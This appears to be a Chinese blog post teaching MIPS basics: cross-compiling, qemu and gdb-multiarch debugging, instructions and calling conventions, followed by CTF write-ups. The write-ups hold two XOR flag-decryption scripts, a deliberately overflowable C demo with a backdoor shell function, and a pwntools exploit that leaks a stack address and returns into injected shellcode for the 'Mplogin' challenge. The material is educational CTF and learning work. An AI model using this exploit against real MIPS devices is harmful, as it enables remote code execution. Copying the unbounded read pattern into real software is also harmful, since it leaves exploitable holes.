简单的mips基础

0x01 前言

mips是另一种不同的架构何指令集,推荐使用ghidra和ida插件进行反汇编,同时还要掌握如何使用gdb去调试以及一些环境的安装之类的。

0x02 mips基础知识

我们并不能直接运行一个mips程序,而是根据不同情况(大小端)来使用不同方式运行,注意要安装相对环境才可以运行和编译

32位小端序:

mipsel-linux-gnu-gcc -g test.c -o test

32位大端序:

mips-linux-gnu-gcc -g test.c -o test

64位小端序:

mips64el-linux-gnuabi64-gcc -g test.c -o test

64位大端序:

mips64-linux-gnuabi64-gcc -g test.c -o test

gdb调试

新建终端后,执行32位小端序调试命令后不动

qemu-mipsel-static -L /usr/mipsel-linux-gnu -g 1234 ./test

再新建一个终端,轮流执行这几条指令(小端序)

gdb-multiarch
set architecture mips
set endian little 
target remote localhost:1234

像这样就gdb成功了 

常见汇编讲解

lw (Load Word),从内存加载一个字到寄存器。lw $t0, 0($t1) # 从地址 $t1+0 处加载一个字到 $t0

li (Load Immediate)li 指令用于将一个立即数加载到寄存器中。li $t0, 10 # 将立即数 10 加载到寄存器 $t0

sw (Store Word)将一个字从寄存器存储到内存。sw $t0, 0($t1) # 将 $t0 的值存储到地址 $t1+0 处

add (Add)将两个寄存器的值相加,并将结果存储到一个寄存器。add $t0, $t1, $t2 # $t0 = $t1 + $t2

addi (Add Immediate)将一个寄存器的值与一个立即数相加,并将结果存储到一个寄存器。addi $t0, $t1, 10 # $t0 = $t1 + 10

sub (Subtract)将一个寄存器的值从另一个寄存器的值中减去,并将结果存储到一个寄存器。sub $t0, $t1, $t2 # $t0 = $t1 - $t2

and (Logical AND)对两个寄存器的值执行按位与操作,并将结果存储到一个寄存器。and $t0, $t1, $t2 # $t0 = $t1 & $t2

or (Logical OR)对两个寄存器的值执行按位或操作,并将结果存储到一个寄存器。or $t0, $t1, $t2 # $t0 = $t1 | $t2

xor (Logical XOR)对两个寄存器的值执行按位异或操作,并将结果存储到一个寄存器。xor $t0, $t1, $t2 # $t0 = $t1 ^ $t2

beq (Branch if Equal)如果两个寄存器的值相等,就跳转到指定的标签。beq $t0, $t1, label # 如果 $t0 == $t1,跳转到 label

bne (Branch if Not Equal)如果两个寄存器的值不相等,就跳转到指定的标签。bne $t0, $t1, label # 如果 $t0 != $t1,跳转到 label

j (Jump)无条件跳转到指定的标签。j label # 跳转到 label

jal (Jump and Link)跳转到指定的标签,并将返回地址存储在 $ra 寄存器中。jal label # 跳转到 label,并将返回地址存储在 $ra

jr (Jump Register)跳转到指定的寄存器地址。jr $ra # 跳转到 $ra 寄存器中存储的地址

寄存器

(图来自mips指令与寄存器详解_存储器字 mips-CSDN博客

函数调用约定

函数调用的传参规定是如果函数的参数小于或者等于四个,那么会用 $a0 到 $a3 来存放参数。如果参数多于四个,那么多的参数则存放到栈里

同时函数还被区分为两类,叶子函数和非叶子函数,他们的区别在于它们对返回地址的处理方式:

叶子函数

  • 不调用其他函数。

  • 返回地址仅保存在 $ra 寄存器中。

  • 结束时用 jr $ra 指令返回。

非叶子函数

  • 调用其他函数。

  • 需要保存 $ra 寄存器的返回地址到栈中。

  • 在结束时,从栈中恢复 $ra,然后用 jr $ra 返回。

 在我们的这个demo中

#include<stdio.h>

int more_reg(int a,int b,int c,int d,int e)
{
               char dst[100]={0};
               sprintf(dst,"%d%d%d%d%d\n",a,b,c,d,e);  
}                

int main()
{
                int a1=1,a2=2,a3=3,a4=4,a5=5;
                more_reg(a1,a2,a3,a4,a5);
                return 0;
}

可以看到前四个参数都是存在寄存器中

 而第五个参数就存入栈中了

例题

[UTCTF2020]babymips

  首先利用ghidra反汇编一下程序看看,按g可以跳转main函数看看

 发现具体逻辑将一段东西赋值给austak_68,然后输入对比,点进去22行函数看一看

 16行有一个简单的异或操作,尝试寻找一下param_1的数据,提取出来写一解密脚本就可以了。

data=[0x62, 0x6C, 0x7F, 0x76, 0x7A, 0x7B, 0x66, 0x73, 0x76, 0x50,
    0x52, 0x7D, 0x40, 0x54, 0x55, 0x79, 0x40, 0x49, 0x47, 0x4D,
    0x74, 0x19, 0x7B, 0x6A, 0x42, 0x0A, 0x4F, 0x52, 0x7D, 0x69,
    0x4F, 0x53, 0x0C, 0x64, 0x10, 0x0F, 0x1E, 0x4A, 0x67, 0x03,
    0x7C, 0x67, 0x02, 0x6A, 0x31, 0x67, 0x61, 0x37, 0x7A, 0x62,
    0x2C, 0x2C, 0x0F, 0x6E, 0x17, 0x00, 0x16, 0x0F, 0x16, 0x0A,
    0x6D, 0x62, 0x73, 0x25, 0x39, 0x76, 0x2E, 0x1C, 0x63, 0x78,
    0x2B, 0x74, 0x32, 0x16, 0x20, 0x22, 0x44, 0x19]
flag=''
for i in range(len(data)):
    flag+=chr(data[i]^(i+23))
print(flag)

[QCTF2018]Xman-babymips

用ida反汇编一下

 一个简单的异或

 一个简单的移位运算,能反汇编看起来都很简单,根据这个写一下脚本,一开始没用&防止溢出,后面才发现要用&防止溢出,

利用&通过对 a[i] 和这些位掩码进行按位与操作,可以提取出 a[i] 的特定位。例如,a[i] & 0x3f 提取出 a[i] 的最低的六位,a[i] & 0xc0 提取出 a[i] 的最高的两位。

data = b"Q|j{g"
flag = ''
for i in range(5):
    flag += chr((data[i] ^ (32 - i)))
print(flag) 

a=[0x52,0xfd,0x16,0xa4,0x89,0xbd,0x92,0x80,0x13,0x41,0x54,0xa0,0x8d,0x45,0x18,0x81,0xde,0xfc,0x95,0xf0,0x16,0x79,0x1a,0x15,0x5b,0x75,0x1f]
for i in range(0,len(a)):
    if i%2==0:
        a[i]= (a[i]&0x3f) << 2 | (a[i]&0xc0) >> 6
        flag+=chr(a[i]^0x20 - i-5)
    else:
        a[i]=(a[i]&0xfc) >> 2 | (a[i]&0x3 ) << 6
        flag+=chr(a[i]^(32-i-5))
print(flag)

 

demo(简单栈溢出)

 以及用的星盟文章(路由器初探之mips基础及mips栈溢出 - 星盟安全团队 (xmcve.com))里面的demo来展示一下简单的栈溢出

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void bk(){
    system("/bin/sh");
}

void vuln(){
    char a[20];
    read(0, a, 0x100);
}

int main(int argc, char**argv){
    vuln();
    return 0;
}

简单编译一下后检查安全性

 一个非常简单的demo还写了一个后门,同时我们知道在mips中非子叶函数会把返回地址存在栈中,所以我们利用这个溢出到返回地址上再改写成我们想去的地址就行

 Mplogin

给了libc文件很好,使我得内心旋转(,

检查一下保护机制,什么都没开

主要的程序就两段

 

 

 可以看到在函数sub_400840中,返回的是v1的长度,v1就是我们输入的用户名,而strncmp只比较前n个字符是否相等,那我们可以用adminaaaa......来控制这个长度和打印出一些东西。同时第二个函数中可以看到第一个read明显溢出了,第二个read又是由我们控制读入长度的,最多可以读入28。调试一下看看会打印出什么

 可以看到泄露出来的是栈顶地址,那我们直接写shellcode进入栈中然后返回这个栈顶地址就可以了

 

 同时v2和v3差了0x14,可以利用第一个read溢出来控制第二个read的第三个参数则第二个read也可以溢出。

exp

from pwn import *
context(arch='mips',endian='little',log_level='debug')
io = process(["qemu-mipsel","-L","./","./Mplogin"])

payload = b"admin" + b'a'*19
io.sendafter("name : ",payload)
io.recvuntil("a"*19)
stack_addr = u32(io.recv(4))
log.info("stack_addr:"+ hex(stack_addr))

payload = b"access" + b'a'*14 + p32(0x100)
io.sendafter("Pre_Password : ",payload)

payload = b"0123456789"+b"a"*30+p32(stack_addr)+asm(shellcraft.sh())
io.sendafter("Password : ",payload)

io.interactive()

 

0x03参考链接

IOT安全入门学习--MIPS汇编基础 | ZIKH26's Blog

 《IoT从入门到入土》(1)--MIPS交叉编译环境搭建及其32位指令集 (yuque.com)

奇安信攻防社区-mips架构逆向那些事 (butian.net)

异构 Pwn 之 Mips32 | 狼目安全 (lmboke.com)

posted @ 2024-03-25 10:50  ModesL  阅读(9)  评论(0)    收藏  举报